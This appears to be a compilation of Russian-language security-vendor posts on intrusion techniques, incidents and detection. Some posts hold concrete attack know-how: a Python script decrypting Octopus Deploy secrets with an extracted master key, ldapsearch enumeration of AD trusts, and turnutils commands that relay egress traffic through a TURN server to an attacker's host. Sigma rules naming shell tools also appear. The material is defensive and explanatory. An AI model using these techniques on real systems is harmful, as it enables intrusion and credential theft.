— запрет на выполнение: во многих системах каталоги с правами на запись для всех (такие, как /tmp или /dev/shm) монтируют с флагом noexec, поскольку такие каталоги часто используются злоумышленниками для выполнения вредоносного ПО.

Пример атаки:

Рассмотрим каталог, который смонтирован с флагом noexec. Попытка выполнить бинарный файл id из этой точки монтирования не сработает, даже если он запускается с высшими привилегиями и сам бинарный файл является исполняемым (см. верхний скриншот).

Это ограничение можно обойти, если бинарный файл загружен в оперативную память и выполнен напрямую из памяти. Для демонстрации мы создали веб-сервер, который хостит бинарный файл id (он может быть вредоносным в реальных атаках), и написали простой скрипт на Python, который скачивает этот бинарный файл, загружает его в память и выполняет его в памяти, обходя все защиты.

Результат можно увидеть на скриншоте (нижняя часть). Обратите внимание, что системный вызов 319 — это и есть memfd_create().

Детектирование:

Хотя файла нет на диске, ядро Linux показывает метаданные о запущенных процессах. Нужно смотреть:

— Пути в файловой системе /proc. Даже анонимные файлы отслеживаются в таких метаданных. /proc/[PID]/exe обычно указывает на путь бинарного файла, такой как /usr/bin/python3. Процесс memfd будет указывать на виртуальный путь, часто помеченный как memfd: (deleted).

— Карты памяти (memory maps). Анализ /proc/[PID]/maps или smaps показывает следы атаки. Ищите сегменты памяти с правами на выполнение (r-xp), которые сопоставлены с объектом memfd, а не с общедоступной библиотекой или известным бинарным файлом на диске.

В одном из инцидентов у клиента нашего сервиса MDR мы обнаружили, что инструмент удаленного доступа ScreenConnect использовался для установки и запуска вредоносного модуля AsyncRAT. Более детальное расследование выявило масштабную инфраструктуру для распространения скрытого установщика этого ПО с целью массовой кражи учетных данных.

На поддельных веб‑ресурсах, которые с помощью поисковой оптимизации выводятся в первые строки выдачи поисковиков, распространяются архивы‑установщики, замаскированные под популярные программы — OBS Studio, DNS Jumper, DS4Windows, Bandicam, Glary Utilities, Process Hacker, Crosshair X и др. Всего обнаружено более 90 таких сайтов на 10 языках (см. пример на скриншоте выше).

Внутри архива содержится подписанный Microsoft легитимный файл install.exe, переименованный под установщик популярного софта (например, OBS Studio), а также вредоносная библиотека install.res.1033.dll. Эта библиотека загружается на устройство при помощи техники DLL Sideloading и разворачивает сервис ScreenConnect, ожидающий дальнейших инструкций от злоумышленников. Во многих корпоративных сетях подобные инструменты удаленного доступа находятся в списке разрешенного ПО и обладают повышенными привилегиями, что очень помогает атакующим.

Как ловить атаку:

1. Отслеживайте создание сервиса ScreenConnect с подозрительными параметрами:

 
logsource:                      
    product: windows         
    category: security
detection:
    selection_access:
        EventID: 4697
        Service File Name|contains:
            - 'e=Access'
            - 'ClientService.exe'
    selection_support:
        EventID: 4697
        Service File Name|contains:
            - 'e=Support'
            - 'ClientService.exe'
    condition: selection_access or selection_support

2. Отслеживайте запуск нетипичных дочерних процессов от сервиса ScreenConnect:

logsource:
    product: windows
    category: process_creation
detection:
    selection:
        ParentImage|endswith:
            - '\\ScreenConnect.ClientService.exe'
            - '\\ScreenConnect.WindowsClient.exe'
            - '\\ScreenConnect.WindowsBackstageShell.exe'
            - '\\ScreenConnect.WindowsFileManager.exe'
        Image|endswith:
            - '\\powershell.exe'
            - '\\cmd.exe'
            - '\\net.exe'
            - '\\schtasks.exe'
            - '\\sc.exe'
            - '\\msiexec.exe'
            - '\\mshta.exe'
            - '\\rundll32.exe'
    condition: selection

В качестве общих профилактических мер рекомендуется внедрить строгий контроль за установкой программ, отслеживать появление новых сервисов удаленного администрирования и соответствующих задач планировщика, проверять подлинность источников ПО и обучать пользователей не скачивать что попало.

Подробности расследования этой масштабной атаки, а также индикаторы компрометации и дополнительные советы по детектированию — в статье Дениса Кулика "ScreenConnect под маской бесплатных программ".

Искусственный интеллект проникает повсеместно, поэтому в ближайшие годы LLM-агенты будут всё чаще упоминаться как "активные участники" в различных отчётах об инцидентах.

Такой пример есть и в опубликованном сегодня отчёте экспертов нашего сервиса по поиску компрометации (Compromise Assessment). Отчёт посвящен инцидентам, которые оставались незамеченными на протяжении нескольких недель, месяцев и даже лет, и были выявлены только в 2025 году после обращений в этот сервис.

Одна из популярных причин таких пропущенных инцидентов (24% случаев) — отсутствие продуманных и задокументированных политик безопасности и правил обработки данных. Это происходит в том числе и при разработке ПО с помощью генеративного ИИ.

В ходе одного из проектов была найдена рабочая станция на базе macOS, где ассистент Claude Code с интерфейсом командной строки использовался как расширение VS Code. Инструмент автоматически делал снапшоты файловой системы для обогащения промптов языковой модели. Командная строка родительского процесса выглядела так:

/bin/zsh -c -l source /Users/[СКРЫТО]/.claude/shell-snapshots/snapshot-zsh-[СКРЫТО].sh && eval 'ls -lh "/Users/[СКРЫТО]/Documents/[СКРЫТО]/"*.xlsx' \\< /dev/null && pwd -P >| /var/folders/[СКРЫТО]/claude-[СКРЫТО]

Собираемые ассистентом материалы включали полные списки каталогов и абсолютные пути к нескольким рабочим книгам Excel, содержащим конфиденциальные внутренние данные:

ls -lh /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx /Users/[СКРЫТО]/Documents/[СКРЫТО].xlsx .. [СКРЫТО]

Наши эксперты рекомендовали организации провести для сотрудников ряд обучающих сессий, направленных на повышение осведомленности о рисках раскрытия конфиденциальной информации при использовании генеративного ИИ, а также разработать политику, регулирующую применение таких инструментов при работе с чувствительными данными.

Больше примеров пропущенных инцидентов, а также рекомендации по их выявлению и предотвращению, смотрите в полной версии отчёта "Незамеченные инциденты, устойчивые угрозы и проблемы реагирования".

А что касается слишком самостоятельных ИИ-ассистентов на корпоративных устройствах — у нас есть пособие по их детектированию и отключению: часть 1, часть 2, часть 3. Ту же тему обсуждаем в новом выпуске подкаста "Смени пароль".

В большинстве корпоративных инфраструктур для управления хостами и пользователями применяется Active Directory. И зачастую это не один домен и даже не один лес. В некоторых случаях это усложняет получение доступа к нужным сервисам во время проектов по анализу защищённости.

А иногда, наоборот, это облегчает повышение привилегий и компрометацию доменов — за счёт того, что между доменами в AD установлены доверительные отношения (трасты), позволяющие пользователям и объектам из одного домена получать доступ к ресурсам в другом домене.

Как добыть информацию о трастах? Один из самых удобных способов — получить TDO (Trusted Domain Object) из LDAP с фильтром objectClass=trustedDomain. Можно использовать ldapsearch или запрос 6 в LDAPPER (параметр -s 6):

ldapsearch -x -H ldap://172.16.128.148 -D "user01@domain.local" -w 'P@ssw0rd' -b "dc=domain,dc=local" -s sub  "(objectClass=trustedDomain)"

А дальше нужно разобраться с атрибутами и параметрами, которые будут видны в полученном TDO — это подсказывает, какие атаки могут быть успешны.

Например, если домен domain2.test доверяет домену domain.local и не настроена Selective authentication (флаг TRUST_ATTRIBUTE_CROSS_ORGANIZATION), учетные записи пользователей и компьютеров из domain.local будут AUTHENTICATED USERS в domain2.test. Это позволяет проводить типовые атаки на Active Directory — в частности, имея ученую запись пользователя в domain.local, в домене domain2.test можно прочитать SYSVOL, выполнить Kerberoasting или добавить учетную запись компьютера (см. скриншот).

Подробнее о том, какими способами можно получать информацию о трастах, на какие параметры стоит обращать внимание и какие ещё атаки можно использовать для получения привилегий, читайте в статье нашего эксперта Ирины Беляевой "Атаки на доверие: как использовать трасты в Active Directory".

Octopus Deploy — один из популярных инструментов для автоматизации развертывания приложений и управления CI/CD-процессами. Внутри себя Octopus может оркестрировать пайплайны, следить за релизами, развертывать приложения и хранить конфигурации и секреты для деплоя.

При этом злоумышленники могут добыть ценные данные из Octopus, даже если у них нет доступа к веб-версии инструмента. Все конфигурационные секреты Octopus хранит в отдельной базе данных, дополнительно шифруя их с помощью AES. Если злоумышленник получит доступ к системе, на которой развернут Octopus (с помощью дефолтных учетных данных или любой серверной уязвимости) — он может получить доступ к мастер-ключу, на котором шифруется база данных:

C:\Program Files\Octopus Deploy\Octopus\Octopus.Server show-master-key

Далее ему нужно будет получить доступ к базе, где хранятся данные от Octopus — и, с учетом нахождения ключа AES, расшифровать их. Самые интересные данные лежат в следующих таблицах:

dbo.Project — список проектов,
dbo.Machine — список машин внутри кубера или другой системы,
dbo.VariableSet — список переменных,
dbo.Proxy — настройки прокcи,
dbo.Account — список пользователей для управления CI/CD,
dbo.User — список внутренних пользователей Octopus.

Декодирование ключей из Octopus можно сделать вот так:

import sys
import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
 
# Check for input argument
if len(sys.argv) < 3:
    print("Usage: python decrypt.py <master_key> <encoded_variable>")
    sys.exit(1)
 
# Get master key from first CLI argument
base64_key = sys.argv[1]
 
# Get encoded_variable from second CLI argument
encoded_variable = sys.argv[2]
 
# Split encoded_variable into parts
cipher_data_b64, cipher_salt_b64 = encoded_variable.split('|')
 
# Decode from Base64
cipher_data = base64.b64decode(cipher_data_b64)
cipher_salt = base64.b64decode(cipher_salt_b64)
cipher_key = base64.b64decode(base64_key)
 
# AES decryption setup
cipher = AES.new(cipher_key, AES.MODE_CBC, iv=cipher_salt)
decrypted = cipher.decrypt(cipher_data)
 
# Unpad decrypted data
decrypted_value = unpad(decrypted, AES.block_size).decode('utf-8')

Как защищаться?

Со стороны Octopus.Server:

— разрешить доступ к управляющим портам сервера с Octopus только с выделенных IP-адресов,
— отслеживать запуск утилиты Octopus.Server,
— использовать для запуска сервиса только разрешенные gMSA учетные записи.

Со стороны базы данных:

— разрешить соединения с БД только со стороны сервера Octopus,
— логировать любые SELECT/UPDATE в критичных таблицах,
— настроить алерты на изменение данных или создание новых пользователей внутри БД.

Мы уже рассказывали, что вымогатели всё чаще применяют для шифрования своих жертв тот самый BitlLocker, который легально предустановлен на компьютерах этих жертв — так что атакующим даже не нужно создавать и загружать собственную программу для шифрования. А новое расследование наших экспертов в Латинской Америке показывает, как именно злоумышленники берут под контроль этот инструмент.

Один из инцидентов произошел в Колумбии. Злоумышленники воспользовались доступной из Интернета службой удаленного доступа RDP с дополнительными открытыми портами на сервере, подключенном к хранилищу с критически важными данными. Это позволило получить контроль над системой, изменить учетные данные пользователей и запустить шифрование с помощью BitLocker.

В другом инциденте, в Мексике, атакующие получили первоначальный доступ к инфраструктуре через Microsoft SQL Server. Из кода, опубликованного на GitHub с нарушением требований безопасности, атакующие извлекли учетные данные для доступа к базе данных. А некорректная настройка MSSQL-сервера позволила с этими же учетками выполнять команды операционной системы через расширенную хранимую процедуру xp_cmdshell. В итоге стало возможно выполнять произвольные команды не только на самом сервере, но и на доступных с него узлах локальной инфраструктуры.

Мораль: хотя само шифрование с помощью BitLocker поймать непросто (это легитимная компонента Windows, её активность не блокируется антивирусами), однако в обоих случаях был простой способ устранить возможность для первоначального доступа атакующих.

В первом инциденте это — ограничение публичного доступа к RDP.

Во втором — контроль данных, размещаемых на GitHub, а также правильная настройка сервера MSSQL.

Подробности расследования этих инцидентов — в статье Эдуардо Овалье «Новый подход вымогателей: офисные принтеры, небольшие суммы выкупа и BitLocker».

Использование злоумышленниками блокчейна для передачи адресов командных центров (C2) постепенно становится не экзотикой, а рабочей техникой обхода блокировок. Согласно нашей телеметрии, вредоносы группировки HeartlessSoul с начала июня начали обращаться к блокчейн-платформе BNB Smart Chain для получения актуальных адресов C2.

Обфусцированный JavaScript-загрузчик обращался к данным транзакции в блокчейне, извлекал из них адреса C2 и продолжал выполнение цепочки заражения. Если получить данные не удавалось, использовался резервный C2-домен, захардкоженный в коде. Ранее для этой же цели атакующие использовали блокчейн Solana.

Главная ценность такой техники для атакующих — не анонимность блокчейна, а возможность хранить и обновлять C2 на инфраструктуре, которую сложно заблокировать без риска нарушить работу легитимных сервисов.

Первоначальный вектор атак группировки не изменился: HeartlessSoul продолжает распространять вредоносные MSI/XLL/LNK-файлы через фишинговые письма и мессенджер Telegram (ниже приведены примеры используемых приманок).

Затем, используя команду Powershell, вредоносный файл загружает на систему жертвы JavaScript-загрузчик, который в свою очередь загружает с C2-сервера и выполняет в памяти дополнительные модули для кражи данных и эксфильтрации.

Detection & Threat Hunting

APT-группировки используют блокчейн не только для скрытной передачи C2-адресов, но и для хранения и доставки вредоносной нагрузки (техника EtherHiding, которую использует, например, группировка UNC5342). Оба сценария уже стоит учитывать при построении процессов выявления угроз.

Один из вариантов детектирования — мониторинг обращений к легитимным сервисам блокчейн-инфраструктуры, особенно если такие подключения инициируются офисными приложениями, скриптовыми интерпретаторами или другими нетипичными процессами. Например, в активности HeartlessSoul были замечены обращения к следующим ресурсам:

api.mainnet-beta.solana.com
bsc-rpc.publicnode.com

Мониторинг обращений к API блокчейн-эксплореров и RPC-нодам различных провайдеров (например, bsc-testnet-rpc.publicnode.com, ethereum-rpc.publicnode.com, ethereum-sepolia-rpc.publicnode.com, api.bscscan.com, api.testnet.solana.com, bsc.meowrpc.com, bsc-dataseed.binance.org и др.) может помочь выявить нетипичную активность, особенно если такие соединения инициируются msiexec.exe, wscript.exe, cscript.exe, powershell.exe, node.exe, rundll32.exe или офисными приложениями.

IoCs, связанные с последней активностью HeartlessSoul:

Имена файлов-приманок:

акт передачи 08.07.2026.docx.lnk
сброс мавик 3.0.stl.lnk
ведомость.docx.lnk
Пояснение письменно.xll
Пояснение.xll
Пример пояснение.xll
Technical Overview Технический профиль.xll

Домены С2:

healthydefinitetrunk[.]com
habitsunrisenatureknee[.]com
themostbeautifulspark[.]com

Когда в проектах по анализу защищённости мы получаем RCE и пробиваем внешний периметр, возникает вопрос — есть ли на пробитом хосте выход в Интернет? Если есть, мы сможем установить быстрый канал с C2-сервером, настроить SOCKS-прокси для других тулов и продолжать работы. Но хост может оказаться глубоко в локальной сети, а доступ в Интернет — сильно порезан.

И тут полезно проверить, есть ли у заказчика специальный хост-ретранслятор для видеоконференций (ВКС) на внешнем периметре. Такие хосты называются TURN-серверами и используются для связи абонентов, которые не имеют прямой видимости, то есть находятся за NAT-ом. Но злоумышленники могут использовать такой сервер для своих целей.

Как это работает:

В WebRTC-звонках есть несколько важных сущностей.

— Signal plane: канал, через который клиенты получают параметры звонка, адреса TURN-серверов и креды;

— ICE (Interactive Connectivity Establishment): механизм, который определяет, как пирам установить наибыстрейшее соединение;

— Host candidate: пиры видят друг друга в локальной сети;

— Reflexive/STUN: пиры за NAT, но достижимы через внешний адрес;

— TURN: трафик идёт через промежуточный relay-сервер.

Если прямая связь невозможна из-за NAT/firewall, клиент отправляет на TURN запрос Allocate Request, передаёт креды и получает relay-адрес. Дальше данные идут через Send Indication или ChannelData.

Сетевой администратор может открыть доступ из внутренней сети до TURN-сервера как раз для этого, чтобы сотрудники могли пользоваться видеоконференциями. Однако у TURN-серверов есть фича перенаправления трафика, и она может быть использована для проксирования трафика куда угодно, в том числе и на наш C2.

Условия эксплуатации:

— есть RCE/foothold на внутреннем хосте;
— с него доступен TURN-сервер;
— TURN-сервер находится на внешнем периметре (виден из Интернета);
— известны turn_user / turn_pass;
— TURN разрешает relay на внешний white_ip:port.

Наличие TURN-сервера мы определяем на этапе разведки. Чтобы проверить TURN на внешнем периметре, можно использовать stunner:

stunner info -turnserver <ip>:<port>

Если TURN настроен с аутентификацией (как правило, это так), нужно подключиться к ВКС и получить логин/пароль доступа к TURN из signal plane. Затем можно проверить возможность ретрансляции на внешние адреса:

turnutils_uclient -n 1 -I -c \
  -u <turn_user> \
  -w <turn_pass> \
  -e <white_ip> \
  -r <port> \
  -p <turn_port> \
  <turn_ip>

Если вы видите трафик на white_ip:port от TURN-сервера, значит, проксирование возможно. Поэтому идём дальше:

— используем креды, полученные через signal plane,
— с пробитого хоста отправляем Allocate Request на TURN,
— в качестве destination указываем свой внешний хост, и
— TURN начинает ретранслировать трафик наружу.

Плюс такого метода: получаем дополнительный канал egress, когда прямой Интернет или корпоративная прокси недоступны.

Минусы: скорость ниже, чем у SOCKS/proxy; TURN-креды имеют срок действия; после expiration date нужно заново поднимать канал.

Как ловить атаку:

Мониторить исходящий трафик с TURN-сервера. Если TURN ходит на неизвестные внешние IP, если есть пакеты ChannelData и Send Indication не в сторону вашей инфры — это верный признак того, что кто-то проксируется через ваш TURN.

Как реагировать:

— проверить, какие внутренние хосты инициировали Allocate Request;
— сопоставить время активности с реальными ВКС-сессиями;
— найти внешний white_ip, куда TURN ретранслировал трафик;
— отозвать/обновить TURN-креды;
— ограничить relay только на ожидаемые направления;
— проверить пробитый хост на RCE/foothold.

А ещё полезно запретить анонимные звонки в вашей ВКС. Это усложнит жизнь злоумышленнику: в таком случае ему ещё надо найти креды от звонка, а уже потом по signal plane получить TURN-креды.

В прошлом году, согласно отчёту наших команд MDR и IR, значительно выросло число инцидентов высокой и средней критичности в сфере образования, что указывает на рост системных проблем в этой сфере. До нового учебного года осталось меньше месяца — самое время подсветить эти проблемы.

Зачем злоумышленники атакуют образовательные организации? В государственных школах и университетах можно поживиться персональными данными, которые затем используются для фишинга и других видов мошенничества. А в частных школах самые частые критические инциденты — это шифрование с последующим вымогательством.

Такие наблюдения сделали эксперты нашего глобального центра по реагированию (GERT) на основе анализа инцидентов, которые произошли за прошедший год в образовательных организациях Бразилии. Однако выводы и рекомендации этого исследования вполне применимы и для других стран. В частности:

— В атаках на образовательные организации почти не встречаются сложные техники. Чаще всего первоначальный доступ происходит через украденные аккаунты, после чего злоумышленники повышают права (Potatoes) и ходят по школьным сетям с использованием легальных инструментов (PsExec, AnyDesk). Для предотвращения угона аккаунтов рекомендуется использовать мультифакторную авторизацию, а также регулярно проводить аудит привилегированных аккаунтов и сокращать избыточные права.

— В школах и вузах часто используется устаревший софт. Например, в инфраструктуре некоторых наших клиентов из сферы образования встречался Windows Server 2016 без патчей, а также операционка Windows 10, поддержка которой уже прекращена. Понятно, что здесь основная мера профилактики — своевременное обновление.

— Самые популярные семейства шифровальщиков, атакующих сферу образования — это DragonForce и LockBit 3. И как уже сказано, вымогатели особенно любят частные школы, которые кажутся достаточно богатыми, чтобы заплатить выкуп. Таким школам особенно рекомендуется озаботиться выработкой стратегии резервного копирования и восстановления данных.

Более подробные примеры атак на школы и вузы, а также дополнительные рекомендации по защите — в статье нашего эксперта Кристиана Сузы "An analysis of incidents at Brazilian educational institutions".